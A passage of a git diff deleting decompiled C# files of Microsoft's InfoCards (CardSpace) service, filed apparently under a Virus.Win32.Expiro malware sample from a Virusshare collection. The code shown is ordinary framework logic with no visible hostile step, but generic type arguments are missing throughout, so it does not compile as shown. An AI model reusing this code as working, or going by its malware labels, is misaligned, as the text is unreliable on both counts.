signatureFormatter.SetKey(this.m_cert.PrivateKey); - return (AsymmetricSignatureFormatter) signatureFormatter; - } - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return base.IsSupportedAlgorithm(algorithmUri); - default: - return false; - } - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - this.m_cert.PrivateKey?.Dispose(); - this.m_cert.PublicKey.Key?.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509Token.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509Token.cs deleted file mode 100644 index 4c4046ab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509Token.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509Token -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509Token : X509SecurityToken - { - private List m_keys; - private object m_sync; - private bool m_disposed; - - public RemoteX509Token(X509Certificate2 cert) - : base(cert) - { - this.m_keys = new List(1); - this.m_keys.Add((SecurityKey) new RemoteX509AsymmetricSecurityKey(cert)); - this.m_sync = new object(); - } - - public override ReadOnlyCollection SecurityKeys => this.m_keys.AsReadOnly(); - - public override void Dispose() - { - try - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - foreach (SecurityKey key in this.m_keys) - { - if (key is IDisposable disposable) - disposable.Dispose(); - } - } - } - finally - { - base.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Request.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Request.cs deleted file mode 100644 index 540400b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Request.cs +++ /dev/null @@ -1,292 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Request -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; -using System.Net; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class Request : IDisposable - { - private static Request.RequestHandleDictionary s_existingClientRequests = new Request.RequestHandleDictionary(); - private static ExceptionTranslationTable s_exceptionToHResultTable = ExceptionTranslationTable.Instance; - private Stream m_inArgs; - private Stream m_outArgs; - private int m_requestHandle; - private static object s_syncRoot = new object(); - private IWebProxy m_proxy; - private object m_syncRoot; - private IntPtr m_rpcHandle; - private Exception m_processingException; - private ExceptionList m_recoverableExceptions; - private WindowsImpersonationContext m_impersonationContext; - private int m_initHResult; - private string m_extendedErrorMessage; - private int m_lcid = -1; - - protected Request( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - { - this.m_inArgs = inArgs; - this.m_outArgs = outArgs; - this.m_rpcHandle = rpcHandle; - this.m_recoverableExceptions = recoverableExceptions; - this.m_syncRoot = new object(); - this.m_initHResult = 0; - this.InsertThisRequestIntoDictionary(); - } - - public Exception ProcessingException - { - get => this.m_processingException; - set => this.m_processingException = value; - } - - public IWebProxy UserProxy - { - get - { - if (this.m_proxy == null) - this.m_proxy = WebRequest.GetSystemWebProxy(); - return this.m_proxy; - } - } - - public int UserLanguage - { - get - { - InfoCardTrace.Assert(this.m_lcid >= 0, " The user language has not been set in the service"); - return this.m_lcid; - } - set => this.m_lcid = value; - } - - protected Stream InArgs => this.m_inArgs; - - public Stream OutArgs => this.m_outArgs; - - protected object SyncRoot => this.m_syncRoot; - - protected IntPtr RpcHandle => this.m_rpcHandle; - - public int RequestHandle => this.m_requestHandle; - - public abstract WindowsIdentity RequestorIdentity { get; } - - internal void Initialize() - { - try - { - this.OnInitializeAsSystem(); - this.ImpersonateRequestor(); - this.OnInitializeAsUser(); - } - catch (Exception ex) - { - this.m_initHResult = this.HandleException(ex, true); - } - } - - private void ImpersonateRequestor() - { - InfoCardTrace.Assert(null != this.RequestorIdentity, "RequestorIdentity can not be null, the derived class should have populated this on initialize"); - this.m_impersonationContext = !this.RequestorIdentity.IsSystem ? this.RequestorIdentity.Impersonate() : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - } - - private int GetHResultFromException(Exception e) - { - int hresultFromException = 0; - Type type = e.GetType(); - if (Request.s_exceptionToHResultTable.ContainsKey(type)) - hresultFromException = Request.s_exceptionToHResultTable[type]; - else if (e is Win32Exception) - hresultFromException = ((Win32Exception) e).NativeErrorCode; - else - InfoCardService.Crash(e); - return hresultFromException; - } - - protected int HandleException(Exception e) => this.HandleException(e, false); - - protected int HandleException(Exception e, bool isInitializing) - { - int errorCode = 0; - if (InfoCardTrace.IsFatal(e)) - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - Exception exception = !(e is InfoCardRequestException) ? e : e.InnerException; - if (isInitializing || !this.OnHandleException(exception, out errorCode)) - { - if (exception is InfoCardBaseException) - { - errorCode = ((InfoCardBaseException) exception).NativeHResult; - this.m_extendedErrorMessage = ((InfoCardBaseException) exception).ExtendedMessage; - } - else if (this.m_recoverableExceptions == ExceptionList.AllNonFatal) - { - CommunicationException e1 = new CommunicationException(SR.GetString("ClientAPIInfocardError"), exception); - InfoCardTrace.TraceAndLogException((Exception) e1); - errorCode = e1.NativeHResult; - } - else if (this.m_recoverableExceptions.Contains(exception.GetType())) - { - errorCode = this.GetHResultFromException(exception); - } - else - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - } - return errorCode; - } - - protected virtual void PreProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnMarshalInArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - if (this.InArgs.Position != this.InArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidDataInRequest"))); - this.InArgs.Close(); - } - - protected virtual void PostProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OutArgs.Flush(); - this.OnMarshalOutArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - protected virtual void ProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnProcess(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - public int DoProcessRequest(out string extendedMessage) - { - int num = this.m_initHResult; - if (num == 0) - { - try - { - this.PreProcessRequest(); - this.ProcessRequest(); - this.PostProcessRequest(); - } - catch (Exception ex) - { - num = this.HandleException(ex); - } - } - extendedMessage = this.m_extendedErrorMessage; - return num; - } - - public static Request FindRequestByHandle(int requestHandle) - { - lock (Request.s_syncRoot) - return Request.s_existingClientRequests[requestHandle]; - } - - public void Dispose() - { - this.OnDisposeAsUser(); - if (this.m_impersonationContext != null) - { - this.m_impersonationContext.Undo(); - this.m_impersonationContext = (WindowsImpersonationContext) null; - } - this.OnDisposeAsSystem(); - this.RemoveThisRequestFromDictionary(); - GC.SuppressFinalize((object) this); - } - - protected virtual void OnInitializeAsSystem() - { - } - - protected virtual void OnInitializeAsUser() - { - } - - protected virtual void OnDisposeAsUser() - { - } - - protected abstract void OnMarshalInArgs(); - - protected abstract void OnProcess(); - - protected abstract void OnMarshalOutArgs(); - - protected virtual void OnDisposeAsSystem() - { - } - - protected virtual bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - return false; - } - - private void InsertThisRequestIntoDictionary() - { - lock (Request.s_syncRoot) - { - int newHandle; - try - { - newHandle = Request.s_existingClientRequests.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientRequests"), (Exception) ex)); - } - this.m_requestHandle = newHandle; - Request.s_existingClientRequests[this.m_requestHandle] = this; - } - } - - private void RemoveThisRequestFromDictionary() - { - lock (Request.s_syncRoot) - Request.s_existingClientRequests.Remove(this.m_requestHandle); - } - - private class RequestHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestFactory.cs deleted file mode 100644 index 96575bba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestFactory.cs +++ /dev/null @@ -1,483 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RequestFactory - { - private const int MaxRequestBlobSize = 20971520; - private static readonly RequestFactory.RequestName[] s_uiClientRequests = new RequestFactory.RequestName[4] - { - RequestFactory.RequestName.GetBrowserTokenRequest, - RequestFactory.RequestName.GetTokenRequest, - RequestFactory.RequestName.ImportRequest, - RequestFactory.RequestName.ManageRequest - }; - private static object s_createRequestSync = new object(); - private static Dictionary s_requestMap = new Dictionary(54); - - private RequestFactory() - { - } - - static RequestFactory() - { - RequestFactory.s_requestMap["CloseCryptoHandleRequest"] = RequestFactory.RequestName.CloseCryptoHandleRequest; - RequestFactory.s_requestMap["DecryptRequest"] = RequestFactory.RequestName.DecryptRequest; - RequestFactory.s_requestMap["EncryptRequest"] = RequestFactory.RequestName.EncryptRequest; - RequestFactory.s_requestMap["GenerateDerivedKeyRequest"] = RequestFactory.RequestName.GenerateDerivedKeyRequest; - RequestFactory.s_requestMap["GetBrowserTokenRequest"] = RequestFactory.RequestName.GetBrowserTokenRequest; - RequestFactory.s_requestMap["GetCryptoTransformRequest"] = RequestFactory.RequestName.GetCryptoTransformRequest; - RequestFactory.s_requestMap["GetKeyedHashRequest"] = RequestFactory.RequestName.GetKeyedHashRequest; - RequestFactory.s_requestMap["GetTokenRequest"] = RequestFactory.RequestName.GetTokenRequest; - RequestFactory.s_requestMap["HashCoreRequest"] = RequestFactory.RequestName.HashCoreRequest; - RequestFactory.s_requestMap["HashFinalRequest"] = RequestFactory.RequestName.HashFinalRequest; - RequestFactory.s_requestMap["ImportRequest"] = RequestFactory.RequestName.ImportRequest; - RequestFactory.s_requestMap["ManageRequest"] = RequestFactory.RequestName.ManageRequest; - RequestFactory.s_requestMap["SignHashRequest"] = RequestFactory.RequestName.SignHashRequest; - RequestFactory.s_requestMap["TransformBlockRequest"] = RequestFactory.RequestName.TransformBlockRequest; - RequestFactory.s_requestMap["TransformFinalBlockRequest"] = RequestFactory.RequestName.TransformFinalBlockRequest; - RequestFactory.s_requestMap["VerifyHashRequest"] = RequestFactory.RequestName.VerifyHashRequest; - RequestFactory.s_requestMap["BeginCreateSecurityTokenRequest"] = RequestFactory.RequestName.BeginCreateSecurityTokenRequest; - RequestFactory.s_requestMap["BeginSelectCardRequest"] = RequestFactory.RequestName.BeginSelectCardRequest; - RequestFactory.s_requestMap["CancelAsyncOperationRequest"] = RequestFactory.RequestName.CancelAsyncOperationRequest; - RequestFactory.s_requestMap["CheckStoreFileValidityRequest"] = RequestFactory.RequestName.CheckStoreFileValidityRequest; - RequestFactory.s_requestMap["CreateCardRequest"] = RequestFactory.RequestName.CreateCardRequest; - RequestFactory.s_requestMap["DeleteCardRequest"] = RequestFactory.RequestName.DeleteCardRequest; - RequestFactory.s_requestMap["DeleteStoreRequest"] = RequestFactory.RequestName.DeleteStoreRequest; - RequestFactory.s_requestMap["EndCreateSecurityTokenRequest"] = RequestFactory.RequestName.EndCreateSecurityTokenRequest; - RequestFactory.s_requestMap["EndSelectCardRequest"] = RequestFactory.RequestName.EndSelectCardRequest; - RequestFactory.s_requestMap["ExportFileRequest"] = RequestFactory.RequestName.ExportFileRequest; - RequestFactory.s_requestMap["GetCertificateRequest"] = RequestFactory.RequestName.GetCertificateRequest; - RequestFactory.s_requestMap["GetImportedCardRequest"] = RequestFactory.RequestName.GetImportedCardRequest; - RequestFactory.s_requestMap["GetImportFileNameRequest"] = RequestFactory.RequestName.GetImportFileNameRequest; - RequestFactory.s_requestMap["GetLedgerEntryForRecipientRequest"] = RequestFactory.RequestName.GetLedgerEntryForRecipientRequest; - RequestFactory.s_requestMap["GetLedgerRequest"] = RequestFactory.RequestName.GetLedgerRequest; - RequestFactory.s_requestMap["GetPolicyDetailsRequest"] = RequestFactory.RequestName.GetPolicyDetailsRequest; - RequestFactory.s_requestMap["GetRecipientListRequest"] = RequestFactory.RequestName.GetRecipientListRequest; - RequestFactory.s_requestMap["GetRecipientRequest"] = RequestFactory.RequestName.GetRecipientRequest; - RequestFactory.s_requestMap["GetUserPreferenceRequest"] = RequestFactory.RequestName.GetUserPreferenceRequest; - RequestFactory.s_requestMap["ImportFileRequest"] = RequestFactory.RequestName.ImportFileRequest; - RequestFactory.s_requestMap["InfoCardListRequest"] = RequestFactory.RequestName.InfoCardListRequest; - RequestFactory.s_requestMap["ListCardsInFileRequest"] = RequestFactory.RequestName.ListCardsInFileRequest; - RequestFactory.s_requestMap["QueryStoreStatusRequest"] = RequestFactory.RequestName.QueryStoreStatusRequest; - RequestFactory.s_requestMap["ResolvePPIDRequest"] = RequestFactory.RequestName.ResolvePPIDRequest; - RequestFactory.s_requestMap["SaveCardRequest"] = RequestFactory.RequestName.SaveCardRequest; - RequestFactory.s_requestMap["SaveLedgerEntryRequest"] = RequestFactory.RequestName.SaveLedgerEntryRequest; - RequestFactory.s_requestMap["SaveRecipientRequest"] = RequestFactory.RequestName.SaveRecipientRequest; - RequestFactory.s_requestMap["SendAgentStatusRequest"] = RequestFactory.RequestName.SendAgentStatusRequest; - RequestFactory.s_requestMap["SetUserPreferenceRequest"] = RequestFactory.RequestName.SetUserPreferenceRequest; - RequestFactory.s_requestMap["BeginGetFileNameFromUserRequest"] = RequestFactory.RequestName.BeginGetFileNameFromUserRequest; - RequestFactory.s_requestMap["EndGetFileNameFromUserRequest"] = RequestFactory.RequestName.EndGetFileNameFromUserRequest; - RequestFactory.s_requestMap["UIEndRequest"] = RequestFactory.RequestName.UIEndRequest; - RequestFactory.s_requestMap["ListDependantCardsRequest"] = RequestFactory.RequestName.ListDependantCardsRequest; - RequestFactory.s_requestMap["GetLastErrorDetailsRequest"] = RequestFactory.RequestName.GetLastErrorDetailsRequest; - RequestFactory.s_requestMap["GetIsBrowserClientRequest"] = RequestFactory.RequestName.GetIsBrowserClientRequest; - RequestFactory.s_requestMap["SetUserLanguageRequest"] = RequestFactory.RequestName.SetUserLanguageRequest; - RequestFactory.s_requestMap["GetCardDetailsRequest"] = RequestFactory.RequestName.GetCardDetailsRequest; - RequestFactory.s_requestMap["UnlockCardRequest"] = RequestFactory.RequestName.UnlockCardRequest; - } - - internal static int ProcessNewRequest( - int parentRequestHandle, - IntPtr rpcHandle, - IntPtr inArgs, - out IntPtr outArgs) - { - InfoCardTrace.Assert(null == WindowsIdentity.GetCurrent(true), "unexpected user context on incoming thread"); - int num = 0; - outArgs = IntPtr.Zero; - if (IntPtr.Zero == inArgs) - return -1073413888; - if (IntPtr.Zero == rpcHandle) - return -1073413888; - try - { - RpcRequest structure = (RpcRequest) Marshal.PtrToStructure(inArgs, typeof (RpcRequest)); - if (structure.Length < 0 || structure.Length > 20971520 || structure.Type == null || structure.Length > 0 && IntPtr.Zero == structure.Data) - return -1073413888; - Stream inStream; - if (structure.Length != 0) - { - byte[] numArray = new byte[structure.Length]; - Marshal.Copy(structure.Data, numArray, 0, structure.Length); - inStream = (Stream) new MemoryStream(numArray, 0, numArray.Length, false, false); - } - else - inStream = (Stream) new MemoryStream(); - MemoryStream memoryStream = new MemoryStream(); - if (parentRequestHandle == 0) - { - using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) - { - using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - num = clientRequestInstance.DoProcessRequest(out string _); - RpcResponse outArgs1; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs1); - outArgs = outArgs1.Marshal(); - } - } - } - else - { - ClientUIRequest requestByHandle = (ClientUIRequest) Request.FindRequestByHandle(parentRequestHandle); - InfoCardTrace.Assert(null != requestByHandle, "ParentRequest is null"); - using (UIAgentRequest agentRequestInstance = RequestFactory.CreateUIAgentRequestInstance(requestByHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - string extendedMessage; - num = agentRequestInstance.DoProcessRequest(out extendedMessage); - if (num != 0) - Utility.SerializeString(new BinaryWriter((Stream) memoryStream, Encoding.Unicode), extendedMessage); - RpcResponse outArgs2; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs2); - outArgs = outArgs2.Marshal(); - } - } - } - catch (TargetInvocationException ex) - { - if (ex.InnerException != null && ex.InnerException is InfoCardBaseException) - num = ((InfoCardBaseException) ex.InnerException).NativeHResult; - else - InfoCardService.Crash((Exception) ex); - } - catch (InfoCardBaseException ex) - { - num = ex.NativeHResult; - } - catch (OutOfMemoryException ex) - { - num = -2147024882; - } - catch (EndOfStreamException ex) - { - num = -1073413863; - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - InfoCardService.Crash(ex); - } - return num; - } - - private static void ConvertStreamToIntPtr(MemoryStream outStream, out RpcResponse outArgs) - { - byte[] buffer = outStream.GetBuffer(); - outArgs = new RpcResponse(); - outArgs.Length = 0; - outArgs.Data = IntPtr.Zero; - if (buffer == null || buffer.Length == 0) - return; - IntPtr destination = Marshal.AllocHGlobal(buffer.Length); - Marshal.Copy(buffer, 0, destination, buffer.Length); - outArgs.Data = destination; - outArgs.Length = buffer.Length; - } - - private static ClientRequest CreateClientRequestInstance( - UIAgentMonitorHandle monitorHandle, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - ClientRequest clientRequestInstance = (ClientRequest) null; - lock (RequestFactory.s_createRequestSync) - { - if (string.IsNullOrEmpty(reqName)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - RequestFactory.RequestName requestName = RequestFactory.s_requestMap.ContainsKey(reqName) ? RequestFactory.s_requestMap[reqName] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - if (-1 != Array.IndexOf(RequestFactory.s_uiClientRequests, requestName)) - { - Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true); - InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof (rpcHandle)); - int tSSession = 0; - if (!NativeMethods.ProcessIdToSessionId(contextMapping.Id, out tSSession)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientTSSession"), (Exception) new Win32Exception(lastWin32Error))); - } - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping); - InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.GetBrowserTokenRequest: - clientRequestInstance = (ClientRequest) new GetBrowserTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetTokenRequest: - clientRequestInstance = (ClientRequest) new GetTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ImportRequest: - clientRequestInstance = (ClientRequest) new ImportRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ManageRequest: - clientRequestInstance = (ClientRequest) new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - else - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.CloseCryptoHandleRequest: - clientRequestInstance = (ClientRequest) new CloseCryptoHandleRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.DecryptRequest: - clientRequestInstance = (ClientRequest) new DecryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.EncryptRequest: - clientRequestInstance = (ClientRequest) new EncryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GenerateDerivedKeyRequest: - clientRequestInstance = (ClientRequest) new GenerateDerivedKeyRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetCryptoTransformRequest: - clientRequestInstance = (ClientRequest) new GetCryptoTransformRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetKeyedHashRequest: - clientRequestInstance = (ClientRequest) new GetKeyedHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashCoreRequest: - clientRequestInstance = (ClientRequest) new HashCoreRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashFinalRequest: - clientRequestInstance = (ClientRequest) new HashFinalRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.SignHashRequest: - clientRequestInstance = (ClientRequest) new SignHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformBlockRequest: - clientRequestInstance = (ClientRequest) new TransformBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformFinalBlockRequest: - clientRequestInstance = (ClientRequest) new TransformFinalBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.VerifyHashRequest: - clientRequestInstance = (ClientRequest) new VerifyHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - clientRequestInstance.Initialize(); - } - return clientRequestInstance; - } - - private static UIAgentRequest CreateUIAgentRequestInstance( - ClientUIRequest parentRequest, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - UIAgentRequest agentRequestInstance = (UIAgentRequest) null; - lock (RequestFactory.s_createRequestSync) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(reqName), "Null or empty request name"); - InfoCardTrace.Assert(RequestFactory.s_requestMap.ContainsKey(reqName), "Request map does not contain " + reqName); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.BeginCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new BeginCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new BeginSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CancelAsyncOperationRequest: - agentRequestInstance = (UIAgentRequest) new CancelAsyncOperationRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CreateCardRequest: - agentRequestInstance = (UIAgentRequest) new CreateCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CheckStoreFileValidityRequest: - agentRequestInstance = (UIAgentRequest) new CheckStoreFileValidityRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteCardRequest: - agentRequestInstance = (UIAgentRequest) new DeleteCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteStoreRequest: - agentRequestInstance = (UIAgentRequest) new DeleteStoreRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new EndCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new EndSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ExportFileRequest: - agentRequestInstance = (UIAgentRequest) new ExportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCertificateRequest: - agentRequestInstance = (UIAgentRequest) new GetCertificateRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportedCardRequest: - agentRequestInstance = (UIAgentRequest) new GetImportedCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportFileNameRequest: - agentRequestInstance = (UIAgentRequest) new GetImportFileNameRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerEntryForRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerEntryForRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetPolicyDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetPolicyDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientListRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new GetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ImportFileRequest: - agentRequestInstance = (UIAgentRequest) new ImportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.InfoCardListRequest: - agentRequestInstance = (UIAgentRequest) new InfoCardListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListCardsInFileRequest: - agentRequestInstance = (UIAgentRequest) new ListCardsInFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.QueryStoreStatusRequest: - agentRequestInstance = (UIAgentRequest) new QueryStoreStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ResolvePPIDRequest: - agentRequestInstance = (UIAgentRequest) new ResolvePPIDRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveCardRequest: - agentRequestInstance = (UIAgentRequest) new SaveCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case 